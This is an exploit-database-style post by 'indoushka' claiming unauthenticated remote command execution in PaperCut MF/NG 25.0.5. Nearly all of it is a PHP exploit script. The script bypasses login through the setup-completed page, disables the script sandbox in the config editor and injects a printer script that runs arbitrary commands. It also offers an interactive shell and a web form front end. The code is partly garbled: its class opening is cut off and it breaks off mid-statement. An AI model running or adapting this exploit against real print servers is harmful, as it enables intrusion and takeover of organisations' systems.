============================================================================================================================================= | # Title : PaperCut MF/NG 25.0.5 Authentication Bypass | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.papercut.com/ | ============================================================================================================================================= [+] Summary : A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF/NG that allows attackers to bypass authentication and execute remote commands on the target system without requiring any credentials. [+] POC : php poc.php target = rtrim($target_url, '/'); $this->session = curl_init(); curl_setopt_array($this->session, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 30, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_COOKIEJAR => 'cookies.txt', CURLOPT_COOKIEFILE => 'cookies.txt' ]); } public function get_session_id() { echo "[*] Attempting authentication bypass...\n"; $url = $this->target . '/app?service=page/SetupCompleted'; curl_setopt_array($this->session, [ CURLOPT_URL => $url, CURLOPT_HTTPGET => true ]); $response = curl_exec($this->session); $post_data = [ 'service' => 'direct/1/SetupCompleted/$Form', 'sp' => 'S0', 'Form0' => '$Hidden,analyticsEnabled,$Submit', '$Hidden' => 'true', '$Submit' => 'Login' ]; $headers = [ 'Origin: ' . $this->target, 'Content-Type: application/x-www-form-urlencoded' ]; curl_setopt_array($this->session, [ CURLOPT_URL => $this->target . '/app', CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($post_data), CURLOPT_HTTPHEADER => $headers ]); $response = curl_exec($this->session); $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE); if ($http_code == 200 && strpos($response, 'papercut') !== false) { $cookies = curl_getinfo($this->session, CURLINFO_COOKIELIST); foreach ($cookies as $cookie) { if (strpos($cookie, 'JSESSIONID') !== false) { echo "[+] Authentication bypass successful! Obtained JSESSIONID\n"; return true; } } } echo "[-] Authentication bypass failed\n"; return false; } public function set_setting($setting, $enabled) { echo "[*] Updating {$setting} to {$enabled}\n"; $post_data = [ 'service' => 'direct/1/ConfigEditor/quickFindForm', 'sp' => 'S0', 'Form0' => '$TextField,doQuickFind,clear', '$TextField' => $setting, 'doQuickFind' => 'Go' ]; $headers = [ 'Origin: ' . $this->target, 'Content-Type: application/x-www-form-urlencoded' ]; curl_setopt_array($this->session, [ CURLOPT_URL => $this->target . '/app', CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($post_data), CURLOPT_HTTPHEADER => $headers ]); $response = curl_exec($this->session); $post_data = [ 'service' => 'direct/1/ConfigEditor/$Form', 'sp' => 'S1', 'Form1' => '$TextField$0,$Submit,$Submit$0', '$TextField$0' => $enabled, '$Submit' => 'Update' ]; curl_setopt_array($this->session, [ CURLOPT_POSTFIELDS => http_build_query($post_data) ]); $response = curl_exec($this->session); if (strpos($response, 'Updated successfully') !== false) { echo "[+] Setting updated successfully\n"; return true; } echo "[-] Failed to update setting\n"; return false; } public function execute_command($command) { echo "[*] Preparing to execute command: {$command}\n"; $this->set_setting('print-and-device.script.enabled', 'Y'); $this->set_setting('print.script.sandboxed', 'N'); // Navigate to printer configuration $steps = [ '/app?service=page/PrinterList', '/app?service=direct/1/PrinterList/selectPrinter&sp=l1001', '/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4' ]; foreach ($steps as $step) { curl_setopt_array($this->session, [ CURLOPT_URL => $this->target . $step, CURLOPT_HTTPGET => true, CURLOPT_POSTFIELDS => null ]); curl_exec($this->session); } $script_body = "function printJobHook(inputs, actions) {}\r\n" . "java.lang.Runtime.getRuntime().exec('{$command}');"; $post_data = [ 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', 'sp' => 'S0', 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', 'printerId' => 'l1001', 'enablePrintScript' => 'on', 'scriptBody' => $script_body, '$Submit$1' => 'Apply' ]; $headers = [ 'Origin: ' . $this->target, 'Content-Type: application/x-www-form-urlencoded' ]; curl_setopt_array($this->session, [ CURLOPT_URL => $this->target . '/app', CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($post_data), CURLOPT_HTTPHEADER => $headers ]); $response = curl_exec($this->session); if (strpos($response, 'Saved successfully') !== false) { echo "[+] Command executed successfully!\n"; $this->set_setting('print-and-device.script.enabled', 'N'); $this->set_setting('print.script.sandboxed', 'Y'); return true; } else { echo "[-] Command execution failed - printer might not be configured\n"; echo "[*] Try manually adding a printer in PaperCut admin interface\n"; return false; } } public function exploit($command) { if (!$this->get_session_id()) { return false; } return $this->execute_command($command); } public function interactive_shell() { echo "[+] Starting interactive shell. Type 'exit' to quit.\n"; while (true) { echo "papercut> "; $command = trim(fgets(STDIN)); if ($command === 'exit') { break; } if (!empty($command)) { $this->execute_command($command); } } } public function __destruct() { if ($this->session) { curl_close($this->session); } if (file_exists('cookies.txt')) { unlink('cookies.txt'); } } } if (php_sapi_name() === 'cli') { echo " ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ PaperCut MF/NG Unauthenticated RCE Exploit By: indoushka \n"; $options = getopt("u:c:ih", [ "url:", "command:", "interactive", "help" ]); if (isset($options['h']) || isset($options['help']) || $argc == 1) { echo "Usage: php poc.php [options]\n"; echo "Options:\n"; echo " -u, --url Target URL (required)\n"; echo " -c, --command Command to execute\n"; echo " -i, --interactive Start interactive shell\n"; echo " -h, --help Show this help message\n"; echo "\nExamples:\n"; echo " php poc.php -u https://papercut.company.com -c 'whoami'\n"; echo " php poc.php -u http://192.168.1.100:9191 -c 'ipconfig'\n"; echo " php poc.php -u https://papercut.target.com -i\n"; exit(1); } if (!isset($options['u']) && !isset($options['url'])) { echo "Error: Target URL is required\n"; exit(1); } $target = isset($options['u']) ? $options['u'] : $options['url']; $command = isset($options['c']) ? $options['c'] : (isset($options['command']) ? $options['command'] : 'whoami'); $exploit = new PaperCutExploit($target); if (isset($options['i']) || isset($options['interactive'])) { if ($exploit->exploit('echo "Interactive shell started"')) { $exploit->interactive_shell(); } } else { $exploit->exploit($command); } } else { if (isset($_POST['exploit'])) { $target = $_POST['target'] ?? ''; $command = $_POST['command'] ?? 'whoami'; if ($target) { $exploit = new PaperCutExploit($target); ob_start(); $result = $exploit->exploit($command); $output = ob_get_clean(); echo "
$output"; } else { echo "